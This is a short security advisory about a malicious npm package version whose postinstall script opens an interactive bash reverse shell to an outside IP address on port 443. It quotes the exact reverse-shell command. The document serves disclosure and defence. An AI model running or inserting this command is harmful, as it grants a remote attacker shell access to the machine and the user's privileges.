Details

**Severity:** Critical

**Affected versions:** `= 3.6.8`

## Source: amazon-inspector (3016b01076e22e0a7bfd8e255bb5a5e03bdfe776f0dc16e60878210b5335fd42)
[email protected] declares a postinstall lifecycle script that executes postinstall.js on npm install. The script invokes `bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1'`, opening an interactive bash reverse shell from the installer's host to 14.225.210.85 on TCP/443. This grants whoever controls that IP an interactive remote shell on the installing machine with the privileges of the user running npm install. Package metadata self-describes as a 'Reverse shell payload for Strapi'.
